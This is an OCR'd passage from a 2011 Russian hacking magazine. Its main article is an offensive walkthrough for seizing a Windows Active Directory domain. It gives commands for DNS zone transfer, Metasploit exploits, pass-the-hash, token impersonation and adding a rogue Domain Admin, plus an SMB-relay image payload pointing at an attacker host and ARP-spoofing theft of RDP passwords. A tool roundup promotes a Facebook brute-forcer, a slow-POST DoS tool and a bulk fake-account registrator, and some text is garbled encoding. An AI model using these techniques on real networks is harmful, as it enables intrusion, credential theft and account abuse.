теры, какие есть пользователи, в каких группах они состоят. Ящик 
в данном случае — это сервер (контроллер домена), где централи-
зованно хранится вся эта информация. Администратор контрол-
лера домена — царь в корпоративной сети. Вернее, он царь той 
ее части, которая состоит в домене. Если компьютер или сервер в 
нем не состоит, то прав у администратора на машину нет, так как 
аутентификация и авторизация проводится без участия контрол-

лера домена. Однако в большинстве случаев почти все сервера и 
рабочие станции состоят в домене, так как ради этого, собственно, 
домен и поднимается. Понятно, что серверные ОС — это, в боль-
шинстве своем, Windows 2000/2003/2008, а рабочки — XP/Vista/7. 
Можно намного подробнее описать, что такое домен и как он рабо-
тает, но в таком случае места на рассказ о слабых местах практи-
чески не останется. Для тех, кто хочет начать с основ — советую 
статью в русской Википедии: ru.wikipedia.org/wiki/Active_Directory.

Сеть
Как говаривали в Sun: «Компьютер — это сеть», поэтому рас-
смотрим простейшую сеть. Самое главное, как ты уже понял, это 
контроллер домена. Это сердце сети. Контроллер отвечает за 
аутентификацию, доменные имена машин, политики для серве-
ров и рабочих станций. То есть за все. Кроме основного сервера 
могут быть еще машинки, необходимые для организации бизнес-
задач компании: почта, терминалки, базы данных и так далее. 

  Áîëüøàÿ ÷àñòü âñåõ êîðïîðàöèé, êîìïàíèé è ìåëêèõ ôèðì èñïîëüçóþò 
äëÿ ïîñòðîåíèÿ êîðïîðàòèâíîé ñåòè òåõíîëîãèþ Añtive Directory è ÎÑ 
ñåìåéñòâà Windows. Ñåãîäíÿøíÿÿ ñòàòüÿ áóäåò ïîñâÿùåíà ïðîñòîé òåìå — 
çàõâàòà ïðàâ àäìèíèñòðàòîðà â äîìåíå îáåçëè÷åííîé êîðïîðàòèâíîé ñåòè. 

ÀÒÀÊÈ ÍÀ ÄÎÌÅÍ
Çàâëàäåâàåì êîðïîðàòèâíîé ñåòüþ

ПРОСТЕЙШИЙ 
ПРИМЕР СЕТИ

Domain Controller with clients

Domain Controller

Domain clients

Computer 1 Computer 2 Computer 3

Switch

Computer 4

PrinterNetwork Printer

Domain clients



Потом идут рабочие станции. В простейшем (читай — худшем) 
случае вся эта тусовка располагается в одном сегменте сети. Как 
правило, если мы говорим о небольших компаниях, то так оно и 
есть. В больших компаниях все не так просто: в дело вступают 
сетевые устройства, которые разбивают сеть на сегменты, про-
пиливая дырки из сегмента в сегмент для нужных протоколов, 
сетей и серверов. Во всем этом благополучии часто бывает и 
Wi-Fi роутер, который дает доступ в сеть для любителей ноутбу-
ков (кстати, именно роутер и становится основной точкой входа 
в сеть для плохих парней, но не он один). Атаки на браузер и 
плагины к нему — самый популярный способ проникнуть из 
интернета в сеть компании или банка. Кроме всего перечислен-
ного, еще остаются варианты с троянами, подключениями к LAN 
через плохо контролируемые порты и, в конце-концов, банальный 
инсайд. В любом случае, все это выходит за рамки статьи, но 
понимать, что безопасность домена дело не последнее — все же 
необходимо. 

Разведка
Любое дело начинается с разведки. Цель ясна — стать админи-
стратором домена, но по пути к этой цели надо выявить критичные 
точки и... саму цель. Как же найти контроллер домена самым бес-
шумным путем? Вспомним, что наш волшебный ящик с папками 
отвечает за имена ресурсов — DNS-имена. Исходя из этого, оче-
видно, что на искомом сервере должен быть поднят сервис домен-
ных имен, то есть открыт 53-й порт. Но не спеши запускать nmap. 
В случае, если IP-адрес мы получаем по DHCP, то он же нам и рас-
кроет имя DNS-сервера, так что просто набери в консоли nslookup 
и с вероятностью 70% ты получишь адрес контроллера домена. Но 
сразу в лоб брутить пароли от домена, опять же, не рекомендует-
ся — нужно оглядеться и посмотреть, кто есть вокруг. Определить 
вкусные цели, так сказать. Варианта два — ARP-пинг по подсети 
и опрос по DNS. ARP-PING это простой способ определить, жив 
компьютер с данным IP-адресом или нет. Напомню, что согласно 
модели OSI ниже сетевого уровня у нас существует канальный. 
Именно по этому уровню физически определяется, на какую сете-
вую карточку слать пакет. Таким образом, ARP-PING представляет 
собой следующий диалог:

Õàêåð êî ÂÑÅÌ: Ðåáÿò, â êàêîì äîìå æèâåò Ïåòÿ 

Øåëëêîäîâ?

Äîì 3 ê Õàêåðó: Î, ýòî æ ÿ — Ïåòÿ Øåëëêîäîâ! ×óâàê, 

òåáå â äîì íîìåð 3!

Другими словами, происходит широковещательный запрос по 
протоколу ARP, в рамках которого запрашивается MAC-адрес того 
чувака, которому присвоен искомый хакером IP-адрес. Вариант 
очень быстрый и эффективный. В качестве инструментария реко-
мендую nmap либо Cain&Abel. Но можно и опросить сам домен 
— мол, расскажи, где у тебя что :). Если администратор домена 
недостаточно аккуратно настроил DNS, то мы можем попросить 
список всех записей для данного домена. Это называется транс-
фер зоны DNS. Для данного действия достаточно подсоединить-
ся к DNS сервису и выполнить команду листинга зоны. Из-под 
винды это делается так:

C:\> nslookup

Default Server:  windomain.domain

Address:  192.168.1.33

>ls -d windomain.domain > file.txt

Если все в порядке, то в файле file.txt ты найдешь имена компью-
теров и их IP-адреса. Зачем это надо? В 80% случаев в имени 
компьютера заложена полезная информация, в частности — его 
назначение (например, для организации атаки «человек посере-
дине» или поиска SQL-серверов). Если зона DNS не отдается, то 
тогда для получения имени можно резолвить каждый IP-адрес, 
который получен в результате ARP-скана (Cain умеет это делать). 
Этот вариант потребует времени, но зато он более точный. Кроме 
имен компьютеров хорошо получить еще и список пользователей 
(имена учетных записей) домена. Опять же, если администратор 
домена недоделал свое дело, то получить юзеров можно, под-
соединившись к контроллеру домена по так называемой нулевой 
сессии к ресурсу IPC$. После чего можно попросить отдать спи-
сок всех пользователей с комментариями. Эта информация может 
оказаться полезной для вычисления администраторов домена и 
прочих ключевых фигур. Кроме того, можно уже начинать под-
бирать учетные записи, где логин пользователя такой же, как и 
пароль :). К слову, если админ все же запретил получение спи-
ска пользователей, мы можем перебрать его сами. Дело в том, 
что каждый пользователь имеет идентификатор безопасности 
(SID). Если опрашивать домен, подставляя эти идентификато-
ры и инкрементируя лишь значения RID (последние несколько 
байт SID), то можно получить список пользователей. Хочу также 
отметить, что весь этот функционал включен в состав Cain&Abel, 
хотя можно воспользоваться и оригинальными тулзами Евгения 
Рудного (sid2user). Выделив ключевые сервера и рабочие стан-
ции, стоит их просканировать. Аккуратно и быстро — nmap'ом. 
При этом даже не нужно сканить все порты с определением сер-
висов и ОС — это шумно. Выделяем ключевые порты в зависи-
мости от цели: для БД — порты основных БД плюс порты управ-
ления (например, radmin), для рабочек — шары (radmin/vnc). В 
общем-то, про разведку можно писать еще много, на эту тему 
получится не одна статья, но самое важное я, вроде, описал. Да, 
и еще — всегда держи снифер под рукой, на стадии разведки он 
расскажет многое. Также тут не упоминается про атаки на свичи 
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NTLM Chalenge response

0day почти трехлетней давности от Confliker'а все еще 
можно встретить

Client Server

(1) SMB_COM_NEGOTIATE Request

(3) SMB_COM_SESSION_SETUP_ANDX Request 1[NTLM NEGOTIATE_MESSAGE]

(4) SMB_COM_SESSION_SETUP_ANDX Response 1

[NTLM CHALLENGE_MESSAGE]

(5) SMB_COM_SESSION_SETUP_ANDX Request 2[NTLM AUTHENTICATE_MESSAGE]

(2) SMB_COM_NEGOTIATE Response

(6) SMB_COM_SESSION_SETUP_ANDX Response 2



и маршрутизаторы, но просто помни — они тоже могут быть сла-
бым звеном (дефолтовые пароли/SNMP строки доступа).

Атака
После разведки можно уже мочить. Как, когда, кого и чем — 
зависит от результатов разведки. Но один из самых простых 
вариантов — пробить эксплойтом в лоб. При этом эксплойт дол-
жен быть такой, чтобы не уронил систему и гарантировал доступ 
:). Как правило, эти сплойты пришли к нам из кодов червей. 
Особо париться тут не стоит — открывай метасплойт, там уже все 
есть, и выполни поиск:

search ms0 -t great

В результате ты получишь список стабильных сплойтов для 
нашей любимой платформы. Из этого списка осталось только 
выбрать удаленные и направленные на службы. Скорее всего, 
это будут дети от Confliker и Stuxnet, а именно — ms08-067 и 
ms10-061 соответственно. Это хорошие, проверенные сплойты, 
не раз дававшие шеллы автору :). Собственно, для работы с ними 
никаких знаний почти не нужно. Только учти, что ms10-061 рабо-
тает только в том случае, если на атакуемом компе готова служба 
печати, то есть расшарен принтер и у тебя хватит прав на печать. 
Поэтому удобно перед атакой просканить подсетку на расша-
ренные принтеры или поискать их по домену — скорее всего, 
таким макаром ты попадешь на старые, заброшенные серваки, 
непропатченный принт-сервер или рабочую станцию. К слову — 
данный вариант очень шумный, и если в компании есть сетевая 
IDS, то ты можешь быть обнаружен. Обращаю внимание, что IDS 
так же ловят в сети сигнатуру шелла винды, так что в качестве 
нагрузки советую использовать meterpreter (он шифрует дан-
ные) — автору это помогло. Что же делать, если с эксплойтами 
идти в бой страшно или все сервера и рабочки пропатчены? Как 
показывает практика, есть куча способов получить шелл без экс-
плойтов. В дело вступают «слабые пароли». Это частая ситуация: 
даже если на доменные учетки пароли и сильные, то пароль на 
локальную учетную запись Администратора может быть слабым, 
так как устанавливался он, например, до ввода компа в домен 
и может быть любым. Более того, такой пароль, как правило, 
одинаковый для всех локальных админских учеток и на других 
машинах :).
Все, только что сказанное, не просто догадки сумасшедшего, 
а частое явление в реальных компаниях. Но я хочу сказать об 

одном очень популярном методе проникновения — через СУБД. 
Чем больше компания, тем больше у них СУБД, а чем больше 
СУБД, тем больше шансов проникновения на эти сервера. И я 
опять про плохие пароли, например в MSSQL 2000 это «sa:sa», 
а в Oracle 9i — «system:manager». С более новыми БД сложнее, 
но и они — частые пациенты. Вообще вся эта глава посвяще-
на главной задаче — получить шелл хоть на каком-то компе в 
домене. Я перечислил самые простые способы такого получения 
(как получить шелл из БД — это уже вне темы этой статьи, об 
этом много писалось ранее), которые не раз давали автору и его 
коллегам желанный доступ к системе, но по факту, конечно, все 
зависит от конкретной сети.

HASH и токены
Захват рабочей станции или сервера — это уже полдела. Но 
что же дальше? Как уже писалось выше, «Компьютер — это 
сеть». Данное правило применимо и для домена. Если был 
захвачен хоть один компьютер домена, можно с большой 
вероятностью говорить о захвате всего домена. В чем дело? А 
дело в доверенной системе, на которой основана сеть и систе-
ма безопасности, как на уровне ОС, так и на уровне домена. 
Итак, что же делать на захваченном хосте в первую очередь? 
Сначала самое главное — понять свои права. В ряде случа-
ев это будет NT AUTHORITY\SYSTEM, в других — доменная 
учетная запись с небольшими правами. Но так или иначе на 
первом этапе нам нужны именно права системы, так что если 
мы их не имеем, то следует их получить. Получить их можно, 
например, прямо из метерпретера, в котором есть простая 
команда getsystem. Данный модуль попробует поднять права 
в ОС, используя уязвимости MS09-012, нашумевший MS10-015 
(KiTrap0D) и не только. Однако в большинстве случаев жела-
тельно, чтобы пользователь был в группе локальных админов 
— например, чтобы имперсонализироваться (об этом позже). 
Системные права нам нужны для того, чтобы выдрать все 
самое ценное из недр ОС, а именно NTLM хэши, и список токе-
нов безопасности. Зачем нам хэши? Чтобы брутить их? Нет. 
Чтобы использовать их. Дело в том, что для аутентификации в 
домене очень часто не нужен пароль — ведь винда не спра-
шивает пассворд каждый раз, когда ты идешь на какую-нибудь 
шару в домене. Реализовано это с помощью NTLM Chalenge 
response аутентификации. Дело в том, что для такой аутенти-
фикации знания пароля не нужно, достаточно только значения 
хэша. Фактически об этой проблеме было известно с середины 
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90-х, но с годами мало что поменялось. Поэтому, достав хэши, 
ты можешь спокойно ходить по домену с правами пользовате-
ля. Более подробно о хэшах можно почитать в статье Антона 
Карпова aka toxa: securitylab.ru/analytics/362448.php. Я же 
расскажу про реальную историю захвата домена. Был, значит, 
получен доступ к компьютеру веб-девелопера через SQL-
инъекцию на его веб-стенде. Сервак был MSSQL, учетка — SA. 
Соответственно, через xp_cmdshell был закачан и запущен 
meterpreter, получен полноценный доступ с правами SYSTEM. 
Но ничего особо ценного для захвата домена на этом компе 
не нашлось, поэтому были изъяты хэши учетки программиста. 
Как известно, хэши хранятся в ОС во многих местах, но самое 
вкусное — это кэш LSA, который «помнит» хэши последних 
юзеров. В любом случае есть еще и SAM-база. Автор советует 
использовать утилиты gsecdump и wce, с помощью которых 
можно полноценно дампить нужные хэши. А с этими хэшами 
уже лазить по домену, где, кстати, был найден принт-сервер. 
Учетка программиста состояла в группе, у которой были права 
на печать на одном из принтеров сервера. Используем хэши-
учетки для модуля метасплойта, который эксплуатирует MS10-
061.

ms10_061_spoolss>set SMBUser user

ms10_061_spoolss>set SMBDomain DOMAIN

ms10_061_spoolss>set SMBPass 010101010101010101010101

01010101:01010101010101010101010101010101

Эксплойт MS10-061, запущенный от имени программиста, дал 
системный доступ к принт-серверу, где уже были найдены про-
цессы с токенами администратора домена. Получается цепочка 
атак, которая приводит к захвату домена. 
Итак, мы попали на принт-сервер с правами системы, но мы 
еще не админы домена, однако я упомянул выше про токены. 
Токен — это объект ОС, который создается при логоне и дается 
каждому процессу, запущенному юзером. Этот токен — лако-
мый кусочек. В нашем случае админ домена запустил какие-то 
процессы на принт-сервере, а у нас права системы на этом же 
сервере — соответственно мы имеем привилегии SeImpersonate 
и можем спокойно использовать существующий токен «делегиро-
вания» (несмотря на патч MS09-012, который тут как бы не о чем). 
Выглядит это довольно просто:

meterpreter> use incognito

meterpreter> list_tokens -u

meterpreter> impersonate_token DOMAIN\\admin

После того, как мы выполнили имперсонализацию, система 
будет использовать права украденной учетки. То есть, мы стали 
админом домена. Соответственно, выполняем:

meterpreter>shell

C:\windows\system32\>net user xakep p4sSw_0Rd /ADD 

 /DOMAIN

C:\windows\system32\>net group "Domain Admins" xakep 

 /ADD /DOMAIN

Команды исполнятся, и у контроллера домена появится новый 
администратор (кстати, не рекомендую так делать, так как в нор-
мальных компаниях такой пользователь сразу будет обнаружен). 
Мораль истории такова: любая, даже самая маленькая дырочка, 
на самом незначительном сервере или рабочке может привести к 
захвату домена, так как «компьютер — это сеть»...

Простые атаки или SMB-RELAY
Предыдущий (реально существовавший) пример показал, как 
получить права админа, зацепившись за любую машину домена. 
Тогда нам понадобились уязвимости, но они не всегда могут при-
сутствовать, например, если поднят WSUS и все хосты домена 
своевременно получают обновления. Тем не менее, бывает так, 
что и без уязвимостей можно получить шелл на сервачке. Частый 
случай — через СУБД. Для этого требуется хоть какая-нибудь учет-
ка на сервере СУБД. Кстати, вспоминая о gsecdump: он дампит 
LSA-секреты, в которых очень часто бывают пароли от БД и про-
чего добра. В открытом виде. Кроме того, в больших компаниях 
часто есть различные ERP-системы, в которых аутентификация 
использует доменные учетные записи и различные пароли по 
умолчанию. К тому же, есть шанс найти SQL-инъекцию. В общем, 
любой доступ к БД нам подойдет. Мы говорим про MSSQL, как про 
наиболее частую СУБД в Microsoft сетях, хотя и Oracle тоже сойдет. 
Второй важный пункт — процесс СУБД должен быть запущен под 
доменной учетной записью, которая состоит в группе локальных 
админов для сервера СУБД. Если все эти условия соблюдены, то 
можно выполнить атаку SMB-RELAY через вызов хранимой про-
цедуры xp_dirtree/xp_fileexist (которая также должна еще и быть 
доступна). В качестве параметра эти процедуры берут путь к папке/
файлу. Суть в том, что они понимают путь в формате UNC, то есть 
могут обращаться к файлам на удаленном ресурсе. В случае, 
если эти ресурсы требуют аутентификацию, то происходит NTLM 
chalenge response аутентификация, из-под которой, используя 
учетку, запущен процесс СУБД. Таким вот образом можно указать 
в качестве удаленного ресурса хост хакера с запущенным модулем 
SMB-RELAY (есть в составе метасплойта). Данный модуль реали-
зует атаку «человек посередине», перенаправляя аутентифика-
цию на другой сервер СУБД (например, на резервный — главное, 
чтобы учетка там имела права локального админа). Таким образом, 
сервер сгенерирует ответ и отправит его хакеру, который, в свою 
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очередь, передаст его серверу, где начата атака. В общем, класси-
ческий «человек посередине». Таким образом хост хакера аутен-
тифицируется на резервном сервере, закачает туда метерпретер и 
получит права учетки СУБД (так как она в группе локальных адми-
нов, то это равносильно SYSTEM). Зачем нам второй сервер, ведь 
можно указать в качестве цели тот же сервер, откуда был послан 
запрос (то есть атака с сервера «А» на сервер «А»)? Вообще да, 
можно, но только если на сервере «А» не установлен патч для 
MS08-068. В противном случае нужно два сервера. Примечание: 
автор заметил, что если мы атакуем кластер, то патч для MS08-068 
не работает, поэтому можно выполнять атаку с ноды кластера на 
кластер и мы получим шелл на той же ноде. Данная уязвимость 
имеет смысл не только в контексте СУБД. Обычная XSS может дать 
полноценный шелл, достаточно подсунуть админу домена следую-
щий код:

<img src="\\attacker\shara">

В любом случае, эта проблема не фиксится полностью, а потому 
атаки на основе SMB-RELAY — реальная угроза. 

Простые атаки. ARP-SPOOFING
Нельзя не упомянуть и про старый добрый ARP-SPOOFING в 
контексте захвата домена. Атака основана на флуде ARP-ответов 
для хостов «А» и «Б» с хоста «В». Хосту «А» посылаются пакеты 
с утверждением, что IP-адрес «Б» принадлежит машине с маком 
«В». Хосту «Б» посылаются пакеты с утверждением, что IP-адрес 
«А» принадлежит машине с маком «В». Таким образом все пакеты 
идут на хост «В», который их потом пересылает по назначению. 
Простое описание классической атаки «человек посередине». 
Функционал полностью присутствует в Cain&Abel и Ettercap. В 
контексте предыдущих тем можно сделать такое западло: вычис-
лить админа (трансфер зоны ДНС), вычислить прокси-сервер или 
шлюз, устроить ARP-SPOOFING и добавить в ХТМЛ-код пакета 
ответа от сервера к админу (в случае, если админ пошел на какой-
нибуть веб-сайт) строчку вида <img src="\\attacker\shara">. То 
есть выполнить SMB-RELAY атаку. Для этого нужно помучаться 
с Ettercap, но можно поступить и проще — поднять у себя веб-
сервер с SMB-RELAY модулем.

Но это еще не все. Однажды мы делали внутренний пентест 
небольшой сетки, где все патчено-перепатчено, и пароли были 
очень стойкие, а больше там ломать-то было и нечего. Так как 
сетка маленькая, то сервера и рабочки были в одном сегменте — 
радость для любого ARP-флудера. По ДНС был вычислен админ 
и сервер терминалов. Начался спуфинг, и тут выяснилось, что 
один из админов использует старую версию протокола RDP, а 
как немногим известно — протокол версии меньше, чем шестая, 
уязвим к атаке «человек посередине». Таким образом, Cain рас-
шифровал RDP-трафик админа на сервер терминала. А с помо-
щью тулзы для парсинга логов Cain'а (irongeek.com/downloads/
cain-RDP-parser.zip) был получен пароль админа домена. Такие 
вот истории...

Баян
В чем смысл этой статьи? Что я хотел сказать? Ведь ничего 
нового раскрыто не было — эти атаки, уязвимости и фичи были 
известны давно (некоторые уже даже в течение десяти лет). 
Просто кое-что невозможно полностью исправить  — ARP-
SPOOFING, SMB-RELAY, воровство Token'ов, HASH-and-PASS и 
так далее. Эти вещи заложены глубоко в архитектуру домена, 
ОС и сети, что делает любую ошибку на любом незначительном 
хосте опасной для всего домена. 
Принцип «Компьютер — это сеть» работает вовсю. Потеряв 
один компьютер, с точки зрения безопасности мы можем поте-
рять всю сеть. Было, конечно, не рассказано много чего еще: 
про парольные политики, сегментацию, настройку сетевого 
оборудования и прочее. Но я хотел обратить внимание на то, 
что любые вроде бы незначительные сервера и рабочки — зна-
чительны, что любые уязвимости, вроде трансфера зоны DNS 
— опасны. 
Даже имя компьютера имеет свою цену с точки зрения безопас-
ности. Я видел компании,  где компьютеры операторов систем 
банк-клиент имели имена вида bankclient-1 и были они в 
домене, в том же сегменте сети. Пусть патченые, но ведь если 
я получу учетку домена (через другой хост, скажем, через принт-
сервер), то потом вернусь на bankclient-1 и буду там хозяином. 
Так что наша с тобой задача — грамотно построить сеть и устра-
нить в ней слабые звенья... z  

ARP-SPOOFING + RDP MitM
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ÏÐÈ ÏÎÄÏÈÑÊÅ ÍÀ ÊÎÌÏËÅÊÒ 
ÆÓÐÍÀËÎÂ  
ÆÅËÅÇÎ +  ÕÀÊÅÐ + 2 DVD: — ÎÄÈÍ 
ÍÎÌÅÐ ÂÑÅÃÎ ÇÀ 162 ÐÓÁËß 
(ÍÀ 35% ÄÅØÅÂËÅ, ×ÅÌ Â ÐÎÇÍÈÖÓ)

ÇÀ 12 ÌÅÑßÖÅÂ 3890 ÐÓÁËÅÉ (24 ÍÎÌÅÐÀ) 
ÇÀ 6 ÌÅÑßÖÅÂ 2205 ÐÓÁËÅÉ (12 ÍÎÌÅÐÎÂ)
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Программа: Evalhook 0.1 
ОС: *nix/win
Автор: Stefan Esser

Очень часто бывает так, что ты получаешь 
доступ к интересному php-скрипту, но не 
можешь продолжать дальнейшую работу с ним 
из-за мерзопакостной обфускации. Не секрет, 
что php-кодеры любят зашифровывать свои 
творения, например, так:

<?php  

 /* Demo by www.php-crypt.com */ 

$keystroke1 = base64_decode("d2RyMTU5c

3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJ

tcA==");

...

?>

Как поступить в таком случае? Советую вос-
пользоваться расширением для PHP Evalhook 
за авторством Стефана «Наше Все» Эссера. 
Итак, данный инструмент представляет собой 
PHP extension, с помощью которого ты сможешь 
поэтапно выполнить скрипт, и тем самым выяс-
нить, что же он, собственно, делает. Алгоритм 
работы расширения заключается в простом 
прерывании вызова конструкции eval и других 
функций с динамическим вызовом кода.
Распознается даже такой код:

<?php 

array_map('assert', 

array('phpinfo()')); 

?>

На выходе ты увидишь, что данная конструкция 
попыталась выполнить банальный "phpinfo()":

Script tries to evaluate the following 

string.

----

return phpinfo() ;

----

Do you want to allow execution? [y/N]

В *nix-системах установка Evalhook достаточно 
тривиальна:
1. Проверяем систему на наличие PHP >= 5.2, 
php-devel, PHP Zend Optimizer;
2. Создаем файлик run.sh со следующим 
содержанием:

tar xvfz evalhook-0.1.tar.gz

cd evalhook

phpize 

./configure

make

sudo make install

3. Запускаем расширение из консоли с пра-
вами рута: sh run.sh.
После данного процесса ты легко сможешь вос-
пользоваться всеми преимуществами Evalhook. 
Например, так: php -d extension=evalhook.so 
закодированный_скрипт.php. Статью на анг-
лийском языке от автора, а также комментарии 
к ней ты сможешь найти по адресу php-security.
org/2010/05/13/article-decoding-a-user-space-
encoded-php-script.

Программа: Conky
ОС: *nix
Автор: brenden1, joemyre, pkovacs
Настало время представить в нашем обзоре 
знаменитый никсовый монитор Conky!
Итак, Conky — это программа, которая может 

отображать самую различную информацию в 
окне рута в X11. Отображаемая информация 
может быть, например, такой: дата, температу-
ра CPU (i2c), MPD инфо, CPU usage, а также все, 
что ты сам пожелаешь :)
Основные фичи монитора:

• îòîáðàæåíèå ñòàòóñîâ ÎÑÈ: uname, 

àïòàéì ìàøèíû, èñïîëüçîâàíèå CPU, èñ-

ïîëüçîâàíèå ïàìÿòè è äèñêà, ñòàòèñòèêà 

ïðîöåññîâ;

• âñòðîåííàÿ ïîääåðæêà IMAP è POP3;

• âñòðîåííàÿ ïîääåðæêà ìíîãèõ ïîïóëÿðíûõ 

ïëååðîâ (MPD, XMMS2, BMPx, Audacious);

• ðàñøèðÿåìîñòü ñ ïîìîùüþ âñòðîåííîé 

ïîääåðæêè Lua è äðóãèõ òâîèõ ñîáñòâåííûõ 

ñêðèïòîâ è ïðîãðàìì;

• ïîääåðæêà Imlib2 è Cairo;

• îòîáðàæåíèå èíôîðìàöèè â âèäå òåêñòà, 

ïðîãðåññ áàðîâ, âèäæåòîâ.

Установить сие чудо технического прогресса 
достаточно просто:

Debian/Ubuntu:

sudo apt-get install conky

zcat /usr/share/doc/conky/examples/

conkyrc.sample.gz > ~/.conkyrc

Gentoo:

emerge app-admin/conky 

FreeBSD:

cd /usr/ports/sysutils/conky && make 

install clean

Êîìïèëÿöèÿ èç ñîðöîâ (íóæíû äåâåëîïìåíò-

áèáëèîòåêè X11):

$ ./configure

$ make

# make install

После установки проги необходимо будет ее 
правильно сконфигурировать.
1. Копируем пример конфига в домашнюю 
директорию: zcat /usr/share/doc/conky/
examples/conkyrc.sample.gz > ~/.conkyrc;
2. Запускаем свой любимый редактор (напри-
мер, vim): vim ~/.conkyrc.
3. Для примера получаем диаграмму скоро-
сти закачки, для чего вписываем в конфиг 
следующее:${downspeedgraph rl0 32,155 
104E8B 0077ff}.
В данном примере:

rl0 — èíòåðôåéñ;

32 — øèðèíà;

155 — äëèíà;

104E8B — êîíå÷íûé öâåò;

0077ff — íà÷àëüíûé öâåò.

Исходник Evalhook

X-TOOLS

ВЗЛОМ

Мониторим систему правильно

XÀÊÅÐ  02  (145)  2011

Программы 
для хакеров



 067 

4. После внесения изменения в конфиг пере-
читываем его: killall -SIGUSCR1 conky.
Как видишь, все достаточно просто. Напос-
ледок хочу показать тебе описание основных 
переменных Conky:
1. exec — выводит на экран текст, возвращае-
мый вызываемой программой;
2. execbar и execgraph — визуализируют 
вывод исполняемой команды в виде диаграм-
мы или графика;
3. execi и texeci — запускают команду циклом 
с интервалом;
4. if_running, if_existing и if_mounted — выво-
дят все данные до endif, если выполняется 
процесс, существует файл и подключена 
точка монтирования;
5. else — выводит событие, если ложны все 
вышестоящие выражения.
Подробнейшую информацию, а также все 
обновления и примеры конфигов ты сможешь 
найти на официальном сайте монитора conky.
sourceforge.net.

Программа: OWASP HTTP Post 
Tool
ОС: Windows 2000/XP/2003 
Server/Vista/2008 Server/7
Автор: Tom Brenann
В ходе OWASP 2010 Application Security 
Conference, прошедшей в Вашингтоне, 
исследователи продемонстрировали то, как 
протокол HTTP может помочь хакерам провес-
ти новую форму распределенной атаки типа 
«отказ в обслуживании», которая заваливает 
веб-сервера медленным HTTP POST трафиком.
Исследователь Вонг Онн Чи, в 2009 году первым 
обнаруживший атаку с группой исследовате-
лей в Сингапуре, и разработчик Proactive Risk 
Том Бреннан также показали, как онлайн игра 
может быть использована для создания ботов 
для ботнета, который может управлять атакой 
HTTP POST DDoS. Чи говорит, что HTTP обла-
дает дефектами, и что все сервера или системы 
с веб-интерфейсом очень восприимчивы к 
такой атаке. «Если у вас есть веб-интерфейс, то 
мы можем разрушить его (этой атакой – прим. 
ред.)», — сказал Чи в начале этого месяца.
В отличие от традиционной DDoS-атаки, где 
происходит очень много соединений за корот-
кий период времени, новый тип атак «потреб-
ляет соединения» и похож на относительно 
короткую очередь пассажиров, проходящих 
контроль, но где большинство – те, кого не-
обходимо проверять долго. Атака HTTP POST 
посылает POST-заголовки, которые позволяют 

Программа: Mail.ru Registrator 4
ОС: Windows 2000/XP/2003 
Server/Vista/2008 Server/7
Автор: Zdez Bil Ya
Еще одна полезнейшая программа от 
Zdez Bil Ya — регистратор мыл на сервисе 
mail.ru (домены mail.ru, bk.ru, list.ru, 
inbox.ru).
Прога может работать как с ручным вводом 
капчи, так и автоматически через сервис 
антикапчи (antigate.com).
В главном окне ты сможешь выбрать метод 
генерации логина:
• генерировать из случайных символов 
(логин определенной длины);
• генерировать псевдочеловечный логин 
(более похож на настоящий);
• регистрировать логины из файла (записи 
в файле должны иметь формат вида «ло-
гин@домен»).
В настройках программы ты сможешь 
выбрать следующие опции регистрации 
мыльных аккаунтов:

• äàòà ðîæäåíèÿ (âûáðàòü îäíó äëÿ 

âñåõ èëè ïîñòàâèòü ñëó÷àéíûé âû-

áîð);

• êîíòðîëüíûé âîïðîñ;

• ïîë;

• äîìåí (mail.ru, list.ru, bk.ru, 

inbox.ru);

• ïàðîëü (îäèí äëÿ âñåõ èëè ñëó÷àé-

íûé);

• èñïîëüçîâàíèå àíòèêàï÷è (âïèñàòü 

êëþ÷);

• èñïîëüçîâàíèå ïðîêñè (HTTP, 

SOCKS4 èëè SOCKS5);

• îïöèÿ óäàëåíèÿ ïðîêñè, åñëè äëÿ 

íåå íàñòóïèë ëèìèò ðåãèñòðàöèé;

• ñîçäàíèå «Ìîåãî Ìèðà»;

• èñïîëüçîâàíèå èìåí è ôàìèëèé 

(èìåíà áåðóòñÿ èç ôàéëà name.txt, 

ôàìèëèè – èç family.txt);

•çàãðóçêà àâàòàðà (áåðóòñÿ â 

ñëó÷àéíîì ïîðÿäêå èç ïàïêè ./

avatars).

После завершения работы утилиты ты смо-
жешь увидеть все свои свежезареганные 
аккаунты в файле accounts.txt в формате 
«email@domain;password».
За обновлениями и помощью заходи 
на официальную страничку програм-
мы avtuh.ru/2010/09/27/mail-ru-
registrator-4.html. z

серверу узнать, сколько информации переда-
но, но когда дело касается самого сообщения, 
оно отсылается очень медленно (чтобы занять 
соединение и лишить сервера ресурсов). По 
словам Чи такая атака, использующая всего 
несколько тысяч медленных соединений HTTP 
POST, может разрушить сайт за считанные 
минуты.
Более подробную историю обнаружения дан-
ного типа DDoS-атаки ты найдешь в слайдах 
OWASP по адресу owasp.org/images/4/43/
Layer_7_DDOS.pdf, а для собственно 
тестирования атаки HTTP POST ты можешь 
воспользоваться прогой OWASP HTTP Post 
Tool. Интерфейс утилиты достаточно прост. 
Для начала тестов тебе всего лишь необхо-
димо выбрать тип атаки, URL жертвы, число 
соединений, частоту соединений, таймаут, 
User-Agent, длину контента и переменную 
POST.
Все обновления и дополнительную информацию 
ищи на официальной страничке проекта www.
owasp.org/index.php/OWASP_HTTP_Post_Tool.

Программа: Facebook Brute
ОС: Windows 2000/XP/2003 
Server/Vista/2008 Server/7
Автор: Zdez Bil Ya
Представляю твоему вниманию замечатель-
ный брут социальной сети Facebook.com от 
мембера grabberz.com Zdez Bil Ya.
Возможности проги:

• ïîääåðæêà SOCKS4/SOCKS5;

• îòîáðàæåíèå ïîäðîáíîé ñòàòèñòèêè 

(áýäû, ãóäû, PPS, îøèáêè);

• ðåæèì áðóòôîðñà «îäèí ëîãèí + 

ñïèñîê ïàðîëåé» (íå ðåêîìåíäóåò-

ñÿ, òàê êàê ïðîèñõîäèò áëîêèðîâêà 

àêêàóíòà);

• ðåæèì áðóòôîðñà îäèí ïàðîëü + 

ñïèñîê ëîãèíîâ;

• ðåæèì áðóòôîðñà ïî ñïèñêó 

«ëîãèí;ïàðîëü»;

• ðåæèì áðóòôîðñà ïî ñïèñêó ëîãèíîâ 

è ñïèñêó ïàðîëåé.

Тесты брутфорса впечатляют: успешное 
нахождение валидного аккаунта достига-
ется при переборе без прокси после 10 000 
попыток.
Автор с удовольствием прочитает твои поже-
лания и замечания в топике grabberz.com/
showthread.php?t=26298.

Распределенный отказ в обслужива-
нии по-новому

Брутим Фейсбук
Регаем mail.ru
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История вопроса
Операционная система Mac Classic (то есть, любая версия Mac 
